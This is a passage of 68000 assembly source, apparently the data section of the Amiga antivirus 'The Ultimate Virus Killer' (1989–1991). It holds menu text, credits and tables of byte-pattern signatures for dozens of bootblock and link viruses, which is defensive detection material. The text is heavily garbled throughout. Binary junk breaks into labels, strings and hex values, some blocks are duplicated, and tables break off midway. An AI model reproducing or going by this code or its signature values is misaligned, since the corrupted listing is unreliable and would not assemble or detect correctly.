What UVK can do :",$a dc.b " +Check Ram/Disk, Recognize residents Prgs, Clean Ram/Disk,",$a dc.b " Restore/Display altered Vectors, Recalculate Checksum,",$a dc.b " Analyse a Bootcode, Print a bootblock, Create a bootcode ...",$a dc.b " +For Keys info, type 'K'. For Amiguy info, type 'I'.",$a,$a dc.b " === The final version will soon come .... ===",$a dc.b $a," Press for the main menu.",-1 even Diskport: dc.l 0 dc.l 0 dc.w $0400 dc.l 0 dc.b 0 dc.b 31 dc.l 0 lh1: dc.l lh2 lh2: dc.l 0 dc.l lh1 dc.b 0 dc.b 0 Diskioreq: dc.l 0 dc.l 0 dc.b 5 dc.b 0 dc.l 0 dc.l diskport dc.w 48 dc.l 0 dc.l 0 dc.w 0 dc.w 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 dc.l 0 TrkDisk:dc.b "trackdisk.device",0 File: blk.b 30,0 even dc.b "dfn:c/" File2: blk.b 50,0 ScrPrT: dc.b "UVK BootBlock Hardcopy",$a dc.b "~~~~~~~~~~~~~~~~~~~~~~",$a ScrPrE: Scr .: blk.b 1024,0 ConvTxt:dc.b "00000000",$a,-1 AmiDos: dc.b "AmigaDOS" Startup:dc.b "dfn:s/Startup-sequence",0 LamName:dc.b "dfn:",$a0,$a0,$a0,$a0,$a0,0 even InfoBuf:blk.b 40,0 SaveIo: blk.b 60,0 IntuiBase:dc.l 0 DosBase:dc.l 0 ConHandle:dc.l 0 ;handle fenetre raw WinHandle:dc.l 0 ;handle fenetre con ScrP: dc.l 0 Lock: dc.l 0 Flag: dc.l 0 PrtH: dc.l 0 XenoAdr:dc.l 0 XenAdr: dc.l 0,0,0 ;$c04ada,$c04a62,$c04aa4 IrqAdr: dc.l 0 Key: dc.b 0 Buf: dc.b 0 ExOFlag:dc.b 0 Protector:dc.b 0 ;flaѡg protector found RFlag: dc.b 0 ;flag resident FlagDr: dc.b 0 ;flag external drive 1=only df0: NotFound:dc.b 0 ;flag file not found FlagEcr:dc.b 0 ;flag ecriresub CrFlag: dc.b 0 ;flag create AutoF: dc.b 0 ;flag autochk DrS: dc.b 0 ;source DrD: dc.b 0 ;destination DrM: dc.b 0 ;drmove DrL: dc.b 0 ;drlink VirDia: dc.b 0 ;evaluation risque virus LoaDia: dc.b 0 ;evaluation loader PCmd: dc.b 0 ;flag protector cmd XenoF: dc.b 0 ;xeno flag RetFl: dc.b 0 EndFlag:dc.b 0 LinkFnd:dc.b 0 even] DriveC: dc.l 0 ;connected drives Buffer: dc.l 0 ;adr boot BufEnd: dc.l 0 ;adr fin boot ChkSum: dc.l 0 Ptr: dc.l 0 BufFWr: dc.l 0 StarBuf:dc.l 0 ;buffer startup StarLen:dc.l 0 ;len startup RealLen:dc.l 0 ;len file RealLBu:dc.l 0 ;buffer file Rd2Buf: dc.l 0 AdrVi: dc.l 0 LenVi: dc.l 0 Cool: dc.l 0 Boots: dc.l 0 Mem: dc.l 0 IrqOpenLib:dc.l 0 ;sauvegarde point entree irq OldOpenW:dc.l 0 KeyCpt: dc.l 0 Nameprog:dc.l 0 IBoot: dc.l 0 ;handle boot Inter: dc.l 0 ReturnCode:dc.l 0 Para: 3 dc.l 0 ;ptr parametres cli LenPara:dc.l 0 ;len paramatres cli WbMsg: dc.l 0 ;msg workbench LenBB: dc.w 0 ;len built boot lenboot:dc.l 0 try1: dc.l 0 ;variables debugging try2: dc.l 0 try3: dc.l 0 try4: dc.l 0 iodevice:dc.l 0 ;ptr debut iodev raster: dc.l 0 ;ptr raster int param: dc.b "?" dc.b $a paraend: dc.l 0 TrkDisk:dc.b "trackdisk.device",0 File: blk.b 30,0 even dc.b "dfn:c/" File2: blk.b 50,0 ScrPrT: dc.b "UVK BootBlock Hardcopy",$a dc.b "~~~~~~~~~~~~~~~~~~~~~~",$a ScrPrE: ScraS??03000o`3>?<00<80030on00 3Ǟݰ0003~`0003烟ޟ000gg3g0v}003>ߏ~?0=>00330<00300]<{x7}vy]<}x=lye@3~w8w931ߟ~gpg9qϟ~g9s~o9s|1g|՞|s}??y灞x??sx?0?s珞sx㞏?q?s矞s???ǟ Check Bootblock virus auto " autotxt:dc.b "off ",$a dc.b " 2> Check Link-Virus",$a," 3> Display Bootblock" dc.b $a," 4> Copy Bootblock",$a," 5> Move Bootblock " dc.b $a," 6> Create Bootblock",$a," 7> Informations" dc.b $a,$a," 8> Quit",$a,$9b,"0 p",-1 MOVET: DC.B $c,$a"," Move a Bootblock" MovtDr: dc.b " (DF0)=Boot" DC.B $a,$9b,"0 p"," ----------------",$a dc.b $a," 1> Bootblock to file" DC.B $a," 2> File to Bootblock",$a dc.b $a," 3> Exit",-1 KeyTxt: dc.b $c,$a," Keys :",$A," ----",$a,$a dc.b " nalyser : Analyse the Bootblock.",$a dc.b " hecksum : Recalculate BootBlock Checksum.",$a dc.b " estination : Choose destination drive.",$a dc.b " reetings : Thanx to ...",$a dc.b " nfo : About UVK ...",$a dc.b " ey q}, : This page.",$a dc.b "

rint : Bootblock hardcopy (during Display function).",$a dc.b " ource : Choose source drive.",$a dc.b " Auo : AutoCheck",$a dc.b " uit : Reset.",$a,-1 Linkt: dc.b " Link Virus Check S:DF0" dc.b $a,$9b,"0 p"," ----------------",$a dc.b $a," 1> File" dc.b $a," 2> Startup" dc.b $a," 3> Directory" dc.b $a," 4> Disk",$a dc.b $a," 5> Exit",$a,-1 Greeti: dc.b $c,$a,$a,$a dc.b " I want to thank the people who support vme in making this",$a dc.b " program :",$a,$a dc.b " - Kougar/Dreamdealers for his printer, his moral support, and",$a dc.b " his viruses.",$a dc.b " - The Clown/Dreamdealers for the Disk-Doktors virus.",$a dc.b " - Mr Cupertino for the Irq virus.",$a dc.b " - the person who give me a lot of viruses.",$a,$a dc.b " and all the other i've forgotten...",$a,-1 GuyTxt:dc.b $c dc.b $a,$a," This program is copyrighted, but freely redistributable.",$a dc.b " I have spent many time to writCTe this proggy, so if you enjoy ",$a dc.b " it, if you want the docfile or the updates, i request you to",$a dc.b " send me 40 FF. This little contribution will support me in",$a dc.b " fighting the viruses. I stand by you !",$a,$a dc.b " Here is my address :",$a dc.b " Amiguy, 2 rue du pr Feray, 27180 Arnires/Iton. France",$a dc.b " You can also contact me on the Minitel :",$a dc.b " 3614 RTEL2, BAL Amiguy",$a,$a dc.b " If you find any bugs/new ideas for updates, if you have some9",$a dc.b " new viruses, you must contact me too.",$a dc.b " See you soon !",$a,-1 even InsT: dc.b $c,$a," Create a Bootblock" InsTDr: dc.b " D:DF0",$a dc.b " ------------------",$a InsT2: dc.b $a dc.b " 1> Ram Cleaner .. Clean the memory from all the viruses",$a dc.b " 2> NoFastMem .... Disconnect all your Fast Memory until reset",$a dc.b " 3> NoDrives ..... Switch off the external drives until reset",$a dc.b " 4> Test Pal ..... Do a reset if your screen isn't in PAL",$a dc.b " 5]+> Make Pal ..... Rename and force the CLI window to 256 lines",$a dc.b " 6> Led Off ...... Switch off the low pass filter on A500/A2000",$a dc.b " 7> IRQ Protector Protect your Amiga against the IRQ virus",$a dc.b $a," 8> Exit",$a,$a," " dc.b "Choose functions by pressing the fine keys, and press ",$a dc.b " to build the Bootblock. (No Function = Normal Bootblock)",-1 InfT: DC.B $c," UVK knows the following viruses :",$a,$a dc.b " Bootblock viruses :",$a dc.b " SCA (AEK/LSDl/BS1/DAG/ICE), Byte Bandit 1-3 (FORPIB), Graffiti,",$a dc.b " Pentagon Circle, Lamer Exterminator 1-5, Disk-Doktor, Gadaffi,",$a dc.b " Northstar 1-2, IRQ (RAM), Blackflash, Coder, Joshua, NoName,",$a dc.b " HCS '4220 1-2, BGS9 (RAM), VKill (AIDS), Obelisk, Termigator,",$a dc.b " Claas Abraham, GxTeam, Superboy, Revenge (Sendarian),",$a dc.b " Target system, Extreme, Timebomb, Opapa, RevengeLoader, Hilly,",$a dc.b " Newbeat, Xeno (RAM), Terrorists (RAM), Disaster (RAM), Turk,",$a dc.;b " Microsystems, Warhawk, Byte Warrior, 16BitCrew, Phantasmumble,",$a dc.b " Scarface, Kauki, Ultrafox, Gremlins.",$a dc.b " Link viruses :",$a dc.b " Revenge of the lamer exterminator.",$a dc.b $a,$a," Press for more info.",-1 inft2:dc.b $c," UVK knows the following BootBlocks :",$a,$a dc.b " BootGirl, CCSBoot 2.0/3.0, XCOPY 2.0 Boot, ASS Protector 1.0,",$a dc.b" AVIREX, V.D.C 1.3/1.6/1.7/2.0, No Expansion Memory, Megakiller,",$a dc.b " TIP NoFastMem, Gx.Team NoFastMem, `qVirus Terminator V1.0,",$a dc.b " BootLeg V2.1, I.B BootCopy, Mem Controller 1.2/1.3, Mia disk,",$a dc.b " Random Access, Virus Slayer 1.0, Mega-Boot 1.30, Pal Window,",$a dc.b " Dimarz Observer, Dietmar Virus Detector, Sinister Syndicate,",$a dc.b" Pvl Protectors 3.0/4.0/5.1/5.0/5.3/5.4/6.1/6.4/6.5 & SoundBoot,",$a dc.b" Virus Detector, Deluxe Boot, TriTech, Utility Boot 2.0/5.0/6.1,",$a dc.b " Blizzard Protector, ColorBoot, WriterBoot, 'Stars&blue Copper'," dc.b $a," ZeroVirus Autorm)F;eor.b/w/l CreatLi:dc.l "1",0,Cleaner,"2",0,NoFMem,"3",0,NoEDr,"4",0,TestPal dc.l "5",0,MakePal,"6",0,LedOff,"7",0,IrqPr,0 analt: dc.b $c,$a," Analysing the Bootblock...",$a,$a,-1 ananoth:dc.b $a," Nothing suspect ...",-1 usekst: dc.b " Use the KickSumData Routine ",$a,-1 mktagp: dc.b " Modify the KickTag Pointer",$a,-1 mksum: dc.b " Modify the KickSumData vector",$a,-1 mkmemp: dc.b " Modify the KickMem Pointer",$a,-1 mcool: dc.b " Modify the CoolCapture vector",$a,-1 mcosld: dc.b " Modify the ColdCapture vector",$a,-1 mdoio: dc.b " Modify the DoIO vector",$a,-1 meint: dc.b " Modify the ExecBase Interrupt vector",$a,-1 motclr: dc.b " Clear ",-1 useioc: dc.b " Use IO Command",-1 iobuf: dc.b " Buffer : $",-1 iolen: dc.b " Lenght : $",-1 iooff: dc.b " Offset : $",-1 reseio: dc.b " (Reset)",$a,-1 readio: dc.b " (Read)",$a,-1 writio: dc.b " (Write)",$a,-1 updaio: dc.b " (Update)",$a,-1 motoio: dc.b " (Motor)",$a,-1 formio: dc.b " (Format)"t,$a,-1 diskio: dc.b " (ChangeState)",$a,-1 protio: dc.b " (ProtStatus)",$a,-1 remoio: dc.b " (Remove)",$a,-1 seekio: dc.b " (Seek)",$a,-1 cleaio: dc.b " (Clear)",$a,-1 chanio: dc.b " (ChangeNum)",$a,-1 bootcod1:dc.b " + The bootblock is perhaps crypted",$a,-1 bootcod2:dc.b " + The bootblock is surely crypted",$a,-1 lenab: dc.b " + Length : ",-1 lenab0: dc.b "0000",$a,-1 anamemt:dc.b " + About the memory ...",$a,-1 anadskt:dc.b " + About the disk ...",$a,-1 bbvir1: dc.b $a," WARNING !uz&!! This bootblock may be a virus ! ",$a,-1 bbvir2: dc.b $a," WARNING !!! This bootblock is surely a virus ! ",$a,-1 bbloa: dc.b $a," This Bootblock is certainly a loader ...",$a,-1 CmdInf: dc.b $a,$9b,"1;33;40m" dc.b "The Ultimate Virus Killer",$9b,"0;33;40m" dc.b " (CLI instruction)",$9b,"0;31;40m",$a dc.b $a9," 1989/1990 By Amiguy",$a,$a dc.b "Usage : UVK [D|d] Date of this version.",$a dc.b " [P|p] Integrated virus hunter.",$a dc.b " [?|H|h] Thisv text.",$a,$a,-1 UVKVHu: dc.b $a,$9b,"1;33;40m" dc.b "UVK Virus hunter",$9b,"0;31;40m",$a dc.b $a9," 1989/1990 By Amiguy",$a,$a,-1 PCmdok: dc.b $a,"Everything seems to be all right ...",$a,$a,-1 CoolCT: dc.b $a,"Memory cleaned. Everything is now all right",$a,$a,-1 Oranget:dc.b $9b,"0;33;40m",-1 Orange2:dc.b $a,$9b,"0;33;40m",-1 dollar: dc.b "$",-1 Return: dc.b $a,-1 DRet: dc.b $a,$a,-1 Normalt:dc.b $9b,"0;31;40m",-1 Cls: dc.b $c,-1 Cls2: dc.b $9b,"0 p",-1 Delt: dc.b 8," ",8,-1 Detw:"ect: dc.b " detected ",-1 DetMem: dc.B " detected in memory",$a,-1 Reco: dc.b " recognized",$a,-1 Date: dc.b " Release Date : 22/02/91",$a,-1 clrprot:dc.b " lear or eep it in memory ?",$a,-1 notft: dc.b " File not found",-1 Sumt: dc.b " Recalculate Bootblock Checksum ...",-1 Wr: dc.b " Writing new checksum ...",-1 Namet: dc.b $c,$a," Please, enter filename ",$a,$a,$9B," p"," ",-1 Bordt: dc.b $c,$a," Do you want your window to have a border ? (y/n)" dc.b $a," (No = BorderLessx).",$9b,"0 p",-1 MakPT: dc.b $c,$a," Please, enter the name of the CLI Window" dc.b $a,$a,$9B," p"," ",-1 VerifT: DC.B $9B,"0 p",$c," Verifying memory ...",$a,$a,-1 IntVt: dc.b ">Checking Interrupt Vectors ... ",-1 Resid: dc.b ">Checking resident pointers ... ",-1 RamCt: dc.b ">Searching the known viruses .. ",-1 ResCt: dc.b ">Searching the residents Prg .. ",-1 ExbOCt: dc.b ">Checking Execbase Offsets .... ",-1 Doschk: dc.b ">Checking Dos Offsets ......... ",-1 Intchk: dc.b ">Checkying Intuition Offsets ... ",-1 gfxchk: dc.b ">Checking Graphics Offsets .... ",-1 Exbict: dc.b ">Checking Execbase Interrupts . ",-1 BegIOT: dc.b ">Begin IO ................... : $",-1 Rastt: dc.b ">Raster ..................... : $",-1 Okt: dc.b "Ok",$a,-1 Found: dc.b " found & killed,",-1 Clean: dc.b " No virus found in memory",$a,-1 Rett: dc.b $a," Press to continue",$a,-1 CooT: dc.b $a," Memory cleaned. Please press ",-1 CurOff: dc.b $9b,"0 p",-1 Unkt: dc.b " Nothzing suspect ...",-1 LiUnkt: dc.b $a," Nothing suspect ...",$a,-1 Sout: dc.b " Insert Source in DF0:",-1 Dest: dc.b " Insert Destination in DF0:",-1 Soutm: dc.b " Insert Source in DF0:",-1 Destm: dc.b " Insert Destination in DF0:",-1 Sou: dc.b " Insert Source ",$a,-1 Des: dc.b " Insert Destination ",-1 protxt: dc.b " Disk is write protected",-1 ndktxt: dc.b " No disk in drive",-1 Writbb: dc.b " Writing bootblock ...",-1 Readbb: dc.b " Reading bootblock ...",-1 Loadbb: dc.b " Loading b{aXootblock ...",-1 Savebb: dc.b " Saving bootblock ...",-1 LoaLiF: dc.b $a," Loading file ",-1 EcrClrT:dc.b $c,$a,$a,-1 Kilt: dc.b $a,$a," xit or ill ?",$a,-1 LiKilt: dc.b $a,$a," xit or emove it ?",$a,-1 LoaStar:dc.b " Loading the 'startup-sequence' file ...",$a,-1 ScanSta:dc.b $a," Scanning startup-sequence ...",$a,-1 RemStar:dc.b $a," Virus removed from the startup-sequence",$a,-1 VirDel: dc.b $a," Virus file deleted",-1 LiWrEna:dc.b $a," Please make your disk write en|Jabled",$a,-1 Locate: dc.b " located at $",-1 dosbtn: dc.b " (Dosbase -000)",$a,-1 intlevt:dc.b " Interrupt Level0 : $",-1 execbtn:dc.b " Execbase -000 : $",-1 Intbtn: dc.b " Intuition -000 : $",-1 gfxbtn: dc.b " GfxBase -000 : $",-1 execbtp:dc.b " Execbase +000 : $",-1 maxlm: dc.b " MaxLocMem ...... : $",-1 maxem: dc.b " MaxExtMem ...... : $",-1 coldt: dc.b $a," ColdCapture .... : $",-1 coolt: dc.b $a," CoolCapture .... : $",-1 kicktt: dc.b $a," KickTagPtr ...g% cys61: dc.b " PvL Antivirus 6.1",-1 Sys64: dc.b " PvL Antivirus 6.4",-1 Sys65: dc.b " PvL Antivirus 6.5",-1 PvlSnd: dc.b " PvL SoundBoot",-1 Norm: dc.b " Normal DOS Boot",-1 GxTNF: dc.b " Gx.Team NoFastMem",-1 BotCop: dc.b " Invisible Brain Bootcopy",-1 AVirex: dc.b " Avirex Boot",-1 VirTer: dc.b " Virus Terminator V1.0",-1 PalSys: dc.b " PAL Window System",-1 VirSla: dc.b " Virus Slayer 1.0",-1 VDC13: dc.b " Virus Detector Cleaner V1.3",-1 VDC16: dc.b " Virus Detector Cleaner V1.6",-h11 VDC17: dc.b " Virus Detector Cleaner V1.7",-1 VDC20: dc.b " Virus Detector Cleaner V2.0",-1 MegaB: dc.b " Mega-Boot 1.30",-1 MegaK: dc.b " Mega Killer",-1 Synd: dc.b " Syndicate Sinister",-1 Destr: dc.b " Destructor",-1 Diet: dc.b " Dietmar Virus Detector",-1 Obse: dc.b " Dimarz Observer",-1 Deluxe: dc.b " Deluxe Boot",-1 Tritech:dc.b " Tritech Boot V1.0",-1 BootWr: dc.b " Writer Boot",-1 ColorB: dc.b " Colorboot",-1 UtilB2: dc.b " Utility Boot V2.0",-1 UtilB5: dc.b " Utility Boot iÜ'{V5.0",-1 UtilB61:dc.b " Utility Boot V6.1",-1 BlizP: dc.b " Blizzard Protector 1.0",-1 Mia: dc.b " MIA Disk Boot",-1 AddrZ: dc.b " ZeroVirus AutoAddRam Boot",-1 FastRZ: dc.b " ZeroVirus NoFastMem Boot",-1 PalZ: dc.b " ZeroVirus BigScreenTest Boot",-1 Ccs3: dc.b " CCS 3.0 Boot",-1 DevW: dc.b " Devware Antivirus",-1 EcsB: dc.b " ECS PAL Boot",-1 Bootleg:dc.b " BootLeg V2.1",-1,0 BotCop2:dc.b " 73 Sec Invisible Brain BootCopy",-1 Shin8: dc.b " Shining8 Boot-Util I",-1 StarsB: dc.b " StajĄػrs & Blue Copper Boot",-1 RipB: dc.b " Ripper Boot",-1 CoppV: dc.b " Copper VAmiga Boot",-1 Genera: dc.b " Generation Boot",-1 VirAler:dc.b " Virus Alert 2.01 Boot",-1 Stuer: dc.b " Peter Stuer Antivirus",-1 VSbord: dc.b " Viruscope BorderLess boot",-1 VSFast: dc.b " Viruscope KillFast boot",-1 VSOne: dc.b " Viruscope OnePlane boot",-1 VSPal: dc.b " Viruscope Pal boot",-1 VSChip: dc.b " Viruscope OnlyChip boot",-1 VSMenu: dc.b " Viruscope MenuMaker",-1 VSDr: dc.b " Viruscope QuietDrik=kve boot",-1 SCAPro: dc.b " SCA Protector",-1 Supply: dc.b " SupplyTeam boot",-1 BTune: dc.b " Boot-tune",-1 VCCNF: dc.b " VCC NoFastMem",-1 Tex33: dc.b " SemTex 3.3 boot",-1 Outlaw: dc.b " OutLaws VirusChecker",-1 StarfC: dc.b " Starfire Checker",-1 Sabaud: dc.b " Sabaudian",-1 NDrQ: dc.b " NoDrives by Quartex",-1 Filt: dc.b " FilterBoot 1.01",-1 VCCForb:dc.b " VCC Access Forbidden",-1 VCS32: dc.b " VCS Boot 3.2",-1 Clonk: dc.b " Alcatraz's Clonk!",-1 Fly: dc.b " SuperFly Detector 2.lt0",-1 CopyB3: dc.b " CopyBootBlockIII",-1 Thor: dc.b " Thor Antivirus",-1 Sca: dc.b " SCA (LSD/AEK/BS1/DAG/ICE) virus",-1 Ban: dc.b " Byte Bandit virus 1-3",-1 War: dc.b " Byte Warrior (DASA) virus",-1 Pen: dc.b " Pentagon Circle virus",-1 Lam: dc.b " Lamer Exterminator 1-5 virus",-1 Dok: dc.b " Disk-Doktor virus ",-1 Irq: dc.b " IRQ virus",-1 Gad: dc.b " Gadaffi virus",-1 Hcs: dc.b " HCS virus",-1 Rev: dc.b " Revenge V1.2 (Sendarian #1) virus",-1 Nor: dc.b " Northstar 1-mdzBJ2 virus",-1 Bgs9t: dc.b " BGS9 virus",-1 VKill: dc.b " VKill V1.0 (AIDS) virus",-1 TimeB: dc.b " Timebomb System",-1 Obe: dc.b " Obelisk virus",-1 GxTeam: dc.b " GxTeam virus",-1 Abra: dc.b " Claas Abraham virus",-1 Noname: dc.b " Noname virus",-1 Term: dc.b " Termigator virus",-1 LamerR: dc.b " Revenge of the Lamer virus",-1 Hcs2: dc.b " HCS II virus",-1 Extr: dc.b " Extreme virus",-1 Coder: dc.b " Coder virus",-1 Josh: dc.b " Joshua virus",-1 Hilly: dc.b " Hilly virusniN",-1 NewBeat:dc.b " Alien Newbeat virus",-1 Target: dc.b " Target system",-1 SuperB: dc.b " Superboy virus",-1 Opapa: dc.b " Opapa virus",-1 RevLoa: dc.b " RevengeLoader virus",-1 Xeno: dc.b " Xeno virus",-1 Terro: dc.b " Terrorists virus",-1 Disast: dc.b " Disaster virus",-1 Graffi: dc.b " Graffiti virus",-1 Turk: dc.b " Turk virus",-1 Microsy:dc.b " Microsystems virus",-1 Scarf: dc.b " Scarface virus",-1 Warh: dc.b " Warhawk virus",-1 BitCrew:dc.b " 16BitCrew virus",-ol;81 Phanta: dc.b " Phantasmumble virus",-1 Grem: dc.b " Gremlins virus",-1 Flash: dc.b " BlackFlash v2.0 virus",-1 Kauki: dc.b " Kauki virus",-1 Ultra: dc.b " Ultrafox virus",-1 Gar1: dc.b " Guardian V1.1",-1 Gar2: dc.b " Guardian V1.2",-1 Pseu: dc.b " Pseudo Ops virus killer 1.6",-1 CodB: dc.b " Coder board 4.0",-1 Rom40: dc.b " Romcrack 0.40",-1 Rom70: dc.b " Romcrack 0.70",-1 Rom73: dc.b " Romcrack 0.73",-1 Pow2: dc.b " Power Utility 2.0",-1 ;pow1: dc.b " Power Utility 1.0",-1pʏ Atool: dc.b " Atool 2.0",-1 Pro3: dc.b " Protector III",-1 VCtrl: dc.b " Virus Control 1.3",-1 Pseu2: dc.b " Pseudo Ops Virus Killer 2.0",-1 even AnaList:dc.l $226,MkTagP,$fd9c,MKSum,$222,MKMemP,46,MCool dc.l 42,MCold,-454,MDoIo,148,MEInt,0 AdrModL:dc.l $2d48,$2d48,-2,$2d50,$2d50,-2,$ffff,$2d7c,-6 dc.l $ffff,$2d79,-6,$ffff,$2d7a,-4,$ffff,$42ae,-2,0 MenList:dc.l " i I",Amiguy," k K",Keypage," c C",Checksum dc.l " q Q",Quit," d D",NextDrd dc.l " s S",NextDrs," 1 1",Check," 3 3",DiqTsplay," 4 4",Copy dc.l " 5 5",Movesub," 6 6",Create," 7 7",Info dc.l " a A",Analyse," g G",Greet," t T",Autochk dc.l " 2 2",Link," r R",tstram,0 IoList: dc.l 1,ReseIo,2,ReadIo,3,WritIo,4,UpdaIo,9,MotoIo,10,FormIo dc.l 14,DiskIo,15,ProtIo,5,CleaIo,11,RemoIo,12,SeekIo dc.l 13,ChanIo,0 IoParL: dc.l $28,Iobuf,$24,Iolen,$2c,IoOff,0 ExcExb: dc.l -550,-448,-442,-436,-412,-400,-196,0 CodBL: dc.w $ffc0,$0a00,$ffc0,$0a40,$ffc0,$0a80 ;eori.b/w/l dc.w $f1c0,$b100,$f1c0,$b140,$f1c0,$b180,0 \?QL800a0,$2b4800b0,BTune dc.l $9c,$2b7c0007,$40000080,VCCNF dc.l $bc,$2c790007,$fff02d79,Tex33 dc.l $6e,$246d0094,$266dfe3a,Outlaw dc.l $40,$203c5354,$415223c0,StarfC dc.l $76,$0c99ffff,$fffe6600,Sabaud dc.l $18,$08290001,$000f6716,NDrQ dc.l $2c,$237c0000,$0200002c,Filt dc.l $54,$203c7ae5,$fffe43fa,VCCForb dc.l $3f0,$303c035b,$461851c8,VCS32 dc.l $38,$21faffce,$00804e40,Clonk dc.l $11a,$e99a2602,$0203000f,Fly dc.l $14c,$c0c62b40,$002c224d,Copyb3 dc.l $b0,$48403940,$006243fa]Ͳ,Thor dc.l $0c,$43fa0018,$4eaeffa0,Norm,0 virlist:dc.l $ca,$2d790007,$efdefe3a,SCA dc.l $4c,$48e77f7f,$2c780004,Ban ;ban1/ban3 dc.l $10,$2f3c0001,$00002017,Ban ;ban2 dc.l $c0,$44415341,$3081323c,War dc.l $18,$41faffe6,$43f90007,Pen dc.l $0c,$2c790000,$00044eae,Dok dc.l $48,$6d026022,$41faffb2,Nor dc.l $48,$41faffb6,$43f90007,Nor ;blackstar dc.l $42,$343c0352,$d310b118,Lam ;lamer2 dc.l $42,$45fa0369,$1012b118,Lam ;'lamer' dc.l $42,$45fa0365,$1012b118,Lam ;'lamer4' dc.l $1^Kma,$123a03d3,$343c03c4,Lam ;lamer3 dc.l $42,$45fa0350,$1012b118,Lam ;'lamer5' dc.l $d8,$0007ff14,$61000008,Gad dc.l $10,$432e0007,$ec24661c,Hcs dc.l $38,$45faffc6,$226e003a,Vkill dc.l $20,$4ef90007,$00260639,TimeB dc.l $20,$303c00ff,$22d851c8,Obe dc.l $10,$432e0007,$ec24661c,Hcs dc.l $10,$432e0007,$ec246618,Hcs2 dc.l $38,$4afc0007,$f5000007,GxTeam dc.l $60,$12d851c8,$fffc91fc,Abra dc.l $94,$203c1113,$d4c0e598,NoName dc.l $ce,$08390003,$00bfe001,Term dc.l $46,$48690056,$30_]Oe3c02e7,Extr dc.l $29c,$e6de0879,$000100bf,Coder dc.l $c,$0cb94e75,$612e00fc,Hilly dc.l $48,$2d790007,$ebda0094,Josh dc.l $10,$0c79444f,$00020000,NewBeat dc.l $106,$207c0007,$01b10480,Target dc.l $46,$08390007,$00bfe001,SuperB dc.l $28c,$257c0007,$9fcc0080,Opapa dc.l $30,$33fc4000,$00dff09a,RevLoa dc.l $2c,$0c39004d,$00bfec01,Turk dc.l $164,$287c0007,$fb002940,Graffi dc.l $24,$43f900fc,$52784eae,Microsy dc.l $1e,$33fc4000,$00dff09a,Scarf dc.l $22,$4eb90007,$e63a43fa,Warh `Ɨ dc.l $186,$4e704ed1,$08790008,BitCrew dc.l $20c,$2c790007,$f31243f9,Phanta dc.l $144,$33790007,$f900001c,Grem dc.l $1d2,$43f90004,$50004eae,Flash dc.l $3c,$21ca0084,$45fa024c,Kauki dc.l $396,$303900df,$f08833fc,Ultra dc.l $32a,$337c0f8b,$001a337c,Rev,0 ProList:dc.l 550,0018,"Guar",Gar2 dc.l 550,-172,"Guar",Gar1 dc.l 550,$bb8,"PS V",Pseu dc.l 550,$498,"oder",CodB dc.l 550,$022,"ROMC",Rom70 dc.l 042,$f36,"ROMC",Rom40 dc.l 550,$236,"III ",Pro3 dc.l 550,$d4e,"2.0 ",Pseu2 dasW5c.l 046,$700,"IRUS",VCtrl dc.l 550,$c98,"Y V2",Pow2 dc.l 550,$068,"0.73",Rom73 dc.l 046,$d4e,"miga",ATool dc.l 550,-172,"3.0 ",Sys30 dc.l 550,-172,"4.0 ",Sys40 dc.l 550,-176,"5.0 ",Sys50 dc.l 550,-176,"5.1 ",Sys51 dc.l 550,-142,"V5.3",Sys53 dc.l 550,-142,"V5.4",Sys54 dc.l 550,-130,"V6.1",Sys61 dc.l 550,-986,"V6.4",Sys64 dc.l 550,-986,"V6.5",Sys65,0 RamList:dc.l 46,$3e,$41fafff2,$c,0,SCA dc.l 550,$3e2,$48e77f7f,$4c,0,Ban dc.l 550,$14c,"DASA",192,0,War dc.l 46,$4c,$41fafbfe6,$18,0,Pen dc.l 550,$3b8,$790048e7,$30,Lam2K,Lam dc.l 550,$406,$226e003a,$2a,Lam3K,Lam dc.l 550,$3be,$45fa0369,$42,Lam1K,Lam dc.l 550,$3ba,$45fa0365,$42,Lam4K,Lam dc.l 550,$3a6,$45fa0350,$42,Lam5K,Lam dc.l 46,$272,$2c790000,$c,DokK,Dok dc.l 46,220,$0007ff14,$d8,GadK,Gad dc.l 46,$e,$6d026022,$48,0,Nor dc.l 46,$e,$41faffb6,$48,0,Nor ;blackstar dc.l 46,$60,$337c0f8b,$32a,RevK,Rev dc.l 46,$6c,$303c00ff,$20,0,Obe dc.l 46,$82,$26497000,$40,0,VKill dc.l 550,$0,$fffffffe,$5b2cSF,0,Bgs9t dc.l 46,$64,$ec246618,$14,0,Hcs2 dc.l 46,$c2,$12d851c8,$60,0,Abra dc.l 46,$31c,$4afc0007,$38,GxTK,GxTeam dc.l 550,$3f4,$203c1113,$94,NNamK,Noname dc.l 46,$2f6,$08390003,$ce,0,Term dc.l 550,$1216,$237c0121,$100,0,LamerR dc.l 550,$3f4,$2d790007,$48,0,Josh dc.l 550,$40e,$48690056,$46,0,Extr dc.l 550,$2ba,$e6de0879,$29c,0,Coder dc.l 550,$402,$257c0007,$28c,0,Opapa dc.l 550,$3c8,$33fc4000,$30,0,RevLoa dc.l 46,$42,$08390007,$46,0,Superb dc.l 550,-$100,$00fc0090,$12,0,dHilly dc.l 46,$84,$0c79444f,$10,0,Newbeat dc.l 550,-$42,"TTV1",$38,0,Terro dc.l 550,$f6,$2f3a0010,$12,0,Disast dc.l 46,$ac,$0c39004d,$2c,0,Turk dc.l 46,$58,$0007fb00,$166,0,Graffi dc.l 46,$c8,$43f900fc,$24,0,Microsy dc.l 550,$346,$33fc4000,$1e,0,Scarf dc.l 46,$56,$4eb90007,$22,0,Warh dc.l 46,$58,$4e704ed1,$186,0,BitCrew dc.l 46,$74,$0007f312,$20e,0,Phanta dc.l 46,$236,$303900df,$396,0,Ultra dc.l 46,$ba,$33790007,$144,0,Grem dc.l 46,$aa,$43f90004,$1d2,0,Flash dc.l 46,$35eja,$21ca0084,$3c,0,Kauki dc.l 46,$78,$ec24661c,$14,0,Hcs,0 linktab:dc.l $46b,$2e,$082e0000,$01296704,LamerR dc.l $773,$48,$000003ed,$4eaeffe2,TimeB dc.l $1a9,$30,$0c902f3a,$00106600,Disast dc.l $283,$4a,$0c290002,$000b6500,BGS9t dc.l $18a,$5c,$4e757200,$66000094,Terro dc.l $168,$3e,$363c4ef9,$41ecffe2,Xeno dc.l $109,$ea,$203c43f7,$456941fa,Irq dc.l 0 NotIns: dc.b " Not Installed Disk",-1 Kick: dc.b " Kickstart Disk",-1 CcsB: dc.b " CCS Boot 2.0",-1 NoExpan:dc.b " No Expansionf%_ Memory Boot",-1 Girl: dc.b " Bootgirl 1.28 Loader",-1 Mem12: dc.b " Memory Controller 1.2",-1 Ass: dc.b " ASS Proctector 1.0",-1 